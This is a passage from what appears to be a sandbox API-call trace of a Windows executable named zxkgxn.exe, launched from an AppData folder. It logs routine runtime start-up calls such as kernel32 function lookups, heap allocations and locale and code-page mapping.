| out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0056.868] GetProcessHeap () returned 0x620000 [0056.869] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0056.869] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0056.869] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0056.869] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0056.869] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0056.869] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0056.869] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0056.869] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0056.869] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0056.870] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0056.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0056.872] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0056.872] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3bc) returned 0x631eb8 [0056.872] GetCurrentThreadId () returned 0xb60 [0056.872] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x18) returned 0x6307a0 [0056.872] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x632280 [0056.872] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x412697, hStdOutput=0x4bff26ba, hStdError=0x0)) [0056.872] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0056.872] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0056.872] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0056.872] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --Task" [0056.873] GetEnvironmentStringsW () returned 0x632a88* [0056.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0056.873] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x565) returned 0x633560 [0056.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x633560, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0056.873] FreeEnvironmentStringsW (penv=0x632a88) returned 1 [0056.873] GetLastError () returned 0x7f [0056.873] SetLastError (dwErrCode=0x7f) [0056.873] GetLastError () returned 0x7f [0056.873] SetLastError (dwErrCode=0x7f) [0056.873] GetLastError () returned 0x7f [0056.873] SetLastError (dwErrCode=0x7f) [0056.873] GetACP () returned 0x4e4 [0056.873] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x220) returned 0x633ad0 [0056.873] GetLastError () returned 0x7f [0056.873] SetLastError (dwErrCode=0x7f) [0056.873] IsValidCodePage (CodePage=0x4e4) returned 1 [0056.873] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0056.873] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0056.873] GetLastError () returned 0x7f [0056.873] SetLastError (dwErrCode=0x7f) [0056.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.873] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0056.874] GetLastError () returned 0x7f [0056.874] SetLastError (dwErrCode=0x7f) [0056.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.874] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0056.874] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0056.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x3a\x27\xff\x4b\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0056.874] GetLastError () returned 0x7f [0056.874] SetLastError (dwErrCode=0x7f) [0056.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.874] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0056.874] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0056.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x3a\x27\xff\x4b\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0056.874] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x487278, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe")) returned 0x5b [0056.874] GetLastError () returned 0x0 [0056.874] SetLastError (dwErrCode=0x0) [0056.874] GetLastError () returned 0x0 [0056.874] SetLastError (dwErrCode=0x0) [0056.874] GetLastError () returned 0x0 [0056.874] SetLastError (dwErrCode=0x0) 